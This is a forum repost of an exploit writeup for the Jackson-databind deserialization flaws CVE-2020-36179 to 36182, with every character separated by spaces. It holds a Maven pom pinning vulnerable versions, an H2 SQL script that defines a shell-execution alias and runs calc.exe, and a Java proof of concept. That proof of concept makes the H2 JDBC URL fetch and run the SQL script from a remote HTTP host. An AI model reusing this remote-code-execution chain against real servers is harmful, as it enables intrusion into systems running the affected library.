[20462] 2021-01-11_CVE-2020-36179FasterXMLjacksonEXP

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2021-01-11_CVE-2020-36179FasterXMLjacksonEXP C V E - 2 0 2 0 - 3 6 1 7 9   F a s t e r X M L   j a c k s o n   E X P A l 1 e x   K h a n   2 0 2 1 - 0 1 - 1 1                         C V E - 2 0 2 0 - 3 6 1 7 9 2 . 9 . 1 0 . 8 F a s t e r X M L   j a c k s o n - d a t a b i n d   2 . x o a d d . o r g . a p a c h e . c o m m o n s . d b c p . c p d s a d a p t e r . D r i v e r A d a p t e r C P D S                         C V E - 2 0 2 0 - 3 6 1 8 0 2 . 9 . 1 0 . 8 F a s t e r X M L   j a c k s o n - d a t a b i n d   2 . x o r g . a p a c h e . c o m m o n s . d b c p 2 . c p d s a d a p t e r . D r i v e r A d a p t e r C P D S                         C V E - 2 0 2 0 - 3 6 1 8 1 2 . 9 . 1 0 . 8 F a s t e r X M L   j a c k s o n - d a t a b i n d   2 . x o r g . a p a c h e . t o m c a t . d b c p . d b c p . c p d s a d a p t e r . D r i v e r A d a p t e r C P D S                         C V E - 2 0 2 0 - 3 6 1 8 2 2 . 9 . 1 0 . 8 F a s t e r X M L   j a c k s o n - d a t a b i n d   2 . x o r g . a p a c h e . t o m c a t . d b c p . d b c p 2 . c p d s a d a p t e r . D r i v e r A d a p t e r C P D S R C E                         C V E C V E - 2 0 2 0 - 3 6 1 8 0 p o m . x m l e x e c . s q l p o c . j a v a < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < p r o j e c t   x m l n s = " h t t p : / / m a v e n . a p a c h e . o r g / P O M / 4 . 0 . 0 "                   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "                   x s i : s c h e m a L o c a t i o n = " h t t p : / / m a v e n . a p a c h e . o r g / P O M / 4 . 0 . 0   h t t p : / / m a v e n . a p a c h e . o r g / x s d / m a v e n - 4 . 0 . 0 . x s d " >         < m o d e l V e r s i o n > 4 . 0 . 0 < / m o d e l V e r s i o n >         < g r o u p I d > c o m . j a c k s o n T e s t < / g r o u p I d >         < a r t i f a c t I d > j a c k s o n T e s t < / a r t i f a c t I d >         < v e r s i o n > 1 . 0 - S N A P S H O T < / v e r s i o n >         < d e p e n d e n c i e s >                 < d e p e n d e n c y >                         < g r o u p I d > c o m . f a s t e r x m l . j a c k s o n . c o r e < / g r o u p I d >                         < a r t i f a c t I d > j a c k s o n - d a t a b i n d < / a r t i f a c t I d >                         < v e r s i o n > 2 . 9 . 1 0 . 7 < / v e r s i o n >                 < / d e p e n d e n c y >                 < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / o r g . a p a c h e . c o m m o n s / c o m m o n s - d b c p 2   - - >                 < d e p e n d e n c y >                         < g r o u p I d > o r g . a p a c h e . c o m m o n s < / g r o u p I d >                         < a r t i f a c t I d > c o m m o n s - d b c p 2 < / a r t i f a c t I d >                         < v e r s i o n > 2 . 8 . 0 < / v e r s i o n >                 < / d e p e n d e n c y >                 < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . h 2 d a t a b a s e / h 2   - - >                 < d e p e n d e n c y >                         < g r o u p I d > c o m . h 2 d a t a b a s e < / g r o u p I d >                         < a r t i f a c t I d > h 2 < / a r t i f a c t I d >                         < v e r s i o n > 1 . 4 . 1 9 9 < / v e r s i o n >                 < / d e p e n d e n c y >                 < d e p e n d e n c y >                         < g r o u p I d > o r g . s l f 4 j < / g r o u p I d >                         < a r t i f a c t I d > s l f 4 j - n o p < / a r t i f a c t I d >                         < v e r s i o n > 1 . 7 . 2 < / v e r s i o n >                 < / d e p e n d e n c y >                 < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / j a v a x . t r a n s a c t i o n / j t a   - - >                 < d e p e n d e n c y >                         < g r o u p I d > j a v a x . t r a n s a c t i o n < / g r o u p I d >                         < a r t i f a c t I d > j t a < / a r t i f a c t I d >                         < v e r s i o n > 1 . 1 < / v e r s i o n >                 < / d e p e n d e n c y >         < / d e p e n d e n c i e s > < / p r o j e c t > C R E A T E   A L I A S   S H E L L E X E C   A S   $ $   S t r i n g   s h e l l e x e c ( S t r i n g   c m d )   t h r o w s   j a v a . i o . I O E x c e p t i o n   {                 j a v a . u t i l . S c a n n e r   s   =   n e w   j a v a . u t i l . S c a n n e r ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) ;                 r e t u r n   s . h a s N e x t ( )   ?   s . n e x t ( )   :   " " ;     } $ $ ; C A L L   S H E L L E X E C ( ' c a l c . e x e ' )
h t t p s : / / g i t h u b . c o m / A l 1 e x / C V E - 2 0 2 0 - 3 6 1 7 9 i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . O b j e c t M a p p e r ; i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . S e r i a l i z a t i o n F e a t u r e ; p u b l i c   c l a s s   P O C   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   p a y l o a d   =   " [ " o r g . a p a c h e . c o m m o n s . d b c p 2 . c p d s a d a p t e r . D r i v e r A d a p t e r C P D S " , { " u r l " : " j d b c : h 2 : m e m : ; T R A C E _ L E V E L _ S Y S T E M _ O U T = 3 ; I N I T = R U N S C R I P T   F R O M   ' h t t p : / / 1 2 7 . 0 . 0 . 1 : 3 3 3 3 / e x e c . s q l ' " } ] "                 O b j e c t M a p p e r   m a p p e r   =   n e w   O b j e c t M a p p e r ( ) ;                 m a p p e r . e n a b l e D e f a u l t T y p i n g ( ) ;                 m a p p e r . c o n f i g u r e ( S e r i a l i z a t i o n F e a t u r e . F A I L _ O N _ E M P T Y _ B E A N S ,   f a l s e ) ;                 O b j e c t   o b j   =   m a p p e r . r e a d V a l u e ( p a y l o a d ,   O b j e c t . c l a s s ) ;                 m a p p e r . w r i t e V a l u e A s S t r i n g ( o b j ) ;         } } D r i v e r A d a p t e r C P D S         - > s e t u r l                 - > g e t P o o l e d C o n n e c t i o n                         - > D i r v e r M a n a g e r . g e t C o n n e c t i o n ( t h i s . u r l , u s e r n a m e , p a s s )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则